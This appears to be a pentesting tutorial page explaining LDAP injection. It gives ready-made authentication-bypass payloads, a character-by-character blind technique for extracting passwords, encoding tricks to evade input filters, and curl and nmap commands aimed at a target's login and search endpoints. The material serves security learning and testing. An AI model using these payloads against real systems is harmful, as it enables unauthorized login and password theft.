Skip to content
HackIndex logo

HackIndex

LDAP Injection – Auth Bypass and Data Extraction

2 min read Apr 5, 2026

LDAP injection occurs when user input is concatenated directly into an LDAP filter without sanitization. The impact depends on where the injection lands — authentication bypass, data extraction, or forced filter modification. It is most commonly found in web applications that authenticate against an LDAP directory or search it based on user input.

How LDAP filters work

A vulnerable login form typically constructs a filter like this on the backend:

# Vulnerable filter construction
filter = "(&(uid=" + username + ")(password=" + password + "))"

# With legitimate input uid=admin, password=secret:
(&(uid=admin)(password=secret))

# With injected input uid=admin)(&) password=anything:
(&(uid=admin)(&)(password=anything))
# The (&) always evaluates true — password check is bypassed

Authentication bypass payloads

These payloads target login forms that construct LDAP filters from user-supplied credentials. The goal is to make the filter evaluate to true regardless of the actual password.

# Username field payloads — inject into the uid or cn parameter
*                          # wildcard — matches any user
admin)(&)                  # closes uid clause, appends always-true condition  
admin)(|(password=*)       # OR condition — true if any password exists
*)(uid=*))(|(uid=*         # classic bypass for (&(uid=X)(pass=Y)) filters

# Combined username + password bypass
Username: admin)(&)
Password: anything

# Results in: (&(uid=admin)(&)(password=anything))
# (&) is always true — auth bypassed as admin

# Wildcard login — authenticates as first user in directory
Username: *
Password: *

Testing for LDAP injection

Inject special characters and observe the response. Error messages, timing differences, or unexpected successful logins all indicate injection is possible.

# Characters that break LDAP filter syntax — inject one at a time
*
(
)
\
/
NUL (0x00)

# If injecting * into a search field returns all results instead of
# filtered results, the parameter is injectable

# If injecting ) causes an application error or different response
# compared to a normal character, the parameter is injectable

Blind LDAP injection — boolean-based data extraction

When there is no visible output, use boolean-based injection to extract data character by character. The technique relies on two payloads that produce different application responses — one true condition and one false condition.

# Target: search field that constructs (&(objectClass=user)(cn=INPUT))

# True condition — application shows results
*)(objectClass=*
# Resulting filter: (&(objectClass=user)(cn=*)(objectClass=*))

# False condition — application shows no results  
INVALID)(objectClass=INVALID
# Resulting filter: (&(objectClass=user)(cn=INVALID)(objectClass=INVALID))

# Extract first character of admin password
# True if password starts with 'a':
admin)(password=a*
# Results in: (&(objectClass=user)(cn=admin)(password=a*))

# Iterate through characters to extract full value
admin)(password=a*     # true
admin)(password=b*     # false
admin)(password=c*     # false
# ... continue until full password is extracted

Filter bypass — encoding and obfuscation

Some applications filter obvious injection characters. Use LDAP encoding to bypass simple input sanitization.

# LDAP special character encoding
*   → \2a
(   → \28
)   → \29
\   → \5c
NUL → \00

# Encoded bypass examples
\2a                          # encoded wildcard
admin\29\28\26\29            # encoded admin)(&)

# NULL byte injection — may terminate filter early in some implementations
admin\00

# Case variation (LDAP is case-insensitive for attribute names)
(UID=admin)
(uId=admin)
(Uid=admin)

Testing with curl

When you have identified an injectable parameter in a web application, test payloads systematically via curl rather than the browser to avoid URL encoding interference.

┌──(kali㉿kali)-[~]
└─$ # Test wildcard in username field
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/login -d 'username=*&password=test' | grep -i 'error\|welcome\|invalid'
 
┌──(kali㉿kali)-[~]
└─$ # Auth bypass payload
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/login -d 'username=admin)(%26)&password=x' | grep -i 'welcome\|dashboard\|logged'
 
┌──(kali㉿kali)-[~]
└─$ # URL-encoded bypass
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/login --data-urlencode 'username=admin)(&)' --data-urlencode 'password=x'
 
┌──(kali㉿kali)-[~]
└─$ # Test search endpoint for wildcard injection
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/search?q=*" | wc -l
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/search?q=a" | wc -l
┌──(kali㉿kali)-[~]
└─$ # Significantly more results for * indicates injection

Automated testing with tools

┌──(kali㉿kali)-[~]
└─$ # ldap-brute NSE — tests LDAP auth bypass
┌──(kali㉿kali)-[~]
└─$ nmap -p 389 --script ldap-brute --script-args ldap.base="$BASE_DN" $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Burp Suite — use Intruder with LDAP injection wordlist
┌──(kali㉿kali)-[~]
└─$ # Common wordlist locations on Kali:
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/seclists/Fuzzing/LDAP*
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/wordlists/

References